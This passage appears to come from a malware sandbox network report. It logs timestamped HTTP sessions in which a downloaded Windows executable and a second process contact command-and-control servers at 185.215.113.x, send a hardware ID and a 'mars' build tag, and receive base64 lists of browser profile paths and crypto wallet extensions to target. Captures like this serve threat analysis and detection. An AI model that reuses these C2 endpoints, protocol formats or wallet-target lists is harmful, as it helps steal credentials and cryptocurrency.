00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 69 00 00 04 00 00 70 a2 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$`i@ip@M$a$$ $b@.rsrc$r@.idata $t@ *$v@plxaxrgl@Ox@bbsqwnstPi@.taggant0`i"@
Nov 23, 2024 11:22:31.168256044 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:31.169352055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:31.169405937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:31.169437885 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:31.170013905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:31.170068026 CET	1236	IN	Data Raw: 57 fd 5c eb 12 c0 a6 af 5f b3 39 b2 e9 0e b8 10 7f 7a 83 33 e0 86 5d bb 59 ff 38 3c 70 c8 33 6b c1 f5 55 2e 2f 49 ee a7 3c e8 6b 84 23 cc 3b 52 84 44 0d e8 31 c3 1c 68 ef c0 42 5c fe 23 6b 4f ee fb d7 45 34 c0 a9 91 85 4b ab 26 7f f0 9c a3 20 3f Data Ascii: W\_9z3]Y8<p3kU./I<k#;RD1hB\#kOE4K& ?,>O8p/eV*Gy3PPg}U J",F:.4(^k.\|JvwG_7RFgK j2}_"B0zEO#5E,1{=J=q#qk2}(W;jl
Nov 23, 2024 11:22:31.170097113 CET	248	IN	Data Raw: e7 74 5c ed 91 ff c9 49 60 81 f0 ea bb 83 0a dc 2a ea 32 2e 24 6c 25 aa 4e 5b 20 db ee 88 70 54 c4 14 8e 25 87 67 32 76 50 a2 7e 9f 2b a5 68 25 e0 9a ab c7 26 77 6c c4 a3 fd 67 b4 f4 53 a6 8b a6 30 4a ba d2 11 44 65 c8 5a 45 41 77 66 d2 05 52 c3 Data Ascii: t\I`*2.$l%N[ pT%g2vP~+h%&wlgS0JDeZEAwfRw\|fzbPx5O\|Sw}r:V-491(y,wSuexk${x:U0G'j('`p55H>uqt,Up5Tkr<=[!tcm)g{
Nov 23, 2024 11:22:31.170346022 CET	1236	IN	Data Raw: 62 fd dc 17 ca 5d 34 cb 6f 33 e2 1c 0c a3 5d 97 ed 93 16 22 2f 1d 3c ba 31 bf 4a 73 8d 5c f5 f2 23 d2 34 5c 98 3a 6f c4 33 fe d4 4c 7a 4d 7e d5 29 cf 1a de 57 3f 4e 83 11 ff af 65 80 5a 54 2a 23 6f a6 67 5f c2 9a 83 58 50 4d 17 f1 16 7c 4e 78 99 Data Ascii: b]4o3]"/<1Js\#4\:o3LzM~)W?NeZT*#og_XPM\|Nx+J(3'9+c!rITgc,9)W@Yd<V#=46xBkao.dZEszO5]jk1\|6^lP.he? B 8r?SfF2<+
Nov 23, 2024 11:22:31.170502901 CET	1236	IN	Data Raw: 96 05 7a 1b 21 1b b2 d6 59 58 9b 07 29 39 da 03 54 cd a6 55 8c c8 88 67 12 bb 55 ab 26 4b 6f 47 2a 0f 72 2a f5 cf ae 45 28 c0 e6 68 f8 ff 59 42 69 76 0f d8 27 64 ae 55 a0 72 6c 5c 68 b8 53 bb 27 d9 32 51 60 33 56 b6 54 77 a6 55 38 c5 7a 4b 26 bf Data Ascii: z!YX)9TUgU&KoGrE(hYBiv'dUrl\hS'2Q`3VTwU8zK&L'Kw(#I4[`euIeP9C!,t:p@)c<-2;R7+t&Zw,"7<ATLv!K8eTQ<Ur7!q<<,\{@2YX@)O0@16#k08
Nov 23, 2024 11:22:31.292072058 CET	1236	IN	Data Raw: 9c f0 28 a5 18 cb fc c4 e9 7b 40 9b 08 f1 85 a7 32 cd c8 54 20 ef c8 64 a8 d8 36 4b e7 d9 32 4f 45 c3 b2 43 ac 7f 20 a4 52 38 03 2d d6 1a 7a 43 3b 27 b2 8b f1 0a 3a 2a 08 37 3b 68 74 48 06 2f 23 b1 3b 4b b3 6f cb 5c ac ff d6 37 15 a8 4f 14 b0 58 Data Ascii: ({@2T d6K2OEC R8-zC;':*7;htH/#;Ko\7OX@)u'"d;(l"WsSB@@Kl4dS&9j nm9+;TY{3wY-:TW2UJOM1JY2u?\>#{Y\{C{1ZHXk!2r7h$t&_Usl:o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49835	185.215.113.43	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:36.980201006 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008412001&unit=246122658369
Nov 23, 2024 11:22:38.362422943 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49836	185.215.113.206	80	3352	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:37.796961069 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 11:22:39.177462101 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 11:22:39.180195093 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 31 44 35 31 41 39 41 37 46 32 34 32 37 37 34 30 34 34 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 2d 2d 0d 0a Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="hwid"311D51A9A7F2427740442------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="build"mars------GCBGCGHDGIEGCBFIEGCB--
Nov 23, 2024 11:22:39.641144991 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 6b 30 4e 44 4e 6c 4f 54 41 79 4e 6a 52 6d 4d 44 4a 6c 4e 6a 55 78 5a 47 49 78 59 7a 41 30 4e 47 4e 69 59 57 55 30 4e 32 51 77 5a 44 64 6c 4d 44 5a 6c 4d 32 59 31 4d 32 52 6c 4e 6a 64 6a 4e 47 59 78 4f 47 59 77 4f 44 45 35 59 54 6b 79 59 7a 63 32 4d 6d 4a 69 59 6a 59 77 59 32 4a 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Nzk0NDNlOTAyNjRmMDJlNjUxZGIxYzA0NGNiYWU0N2QwZDdlMDZlM2Y1M2RlNjdjNGYxOGYwODE5YTkyYzc2MmJiYjYwY2JjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 23, 2024 11:22:39.644135952 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="message"browsers------HIIIJDAAAAAAKECBFBAE--
Nov 23, 2024 11:22:40.092406988 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 23, 2024 11:22:40.092515945 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 23, 2024 11:22:40.093920946 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 2d 2d 0d 0a Data Ascii: ------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="message"plugins------JEBKKEGDBFIIEBFHIEHC--
Nov 23, 2024 11:22:40.545533895 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 23, 2024 11:22:40.545588017 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 23, 2024 11:22:40.545598984 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 23, 2024 11:22:40.545609951 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 23, 2024 11:22:40.545648098 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 23, 2024 11:22:40.545660973 CET	620	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 23, 2024 11:22:40.746109009 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Nov 23, 2024 11:22:40.751790047 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 2d 2d 0d 0a Data Ascii: 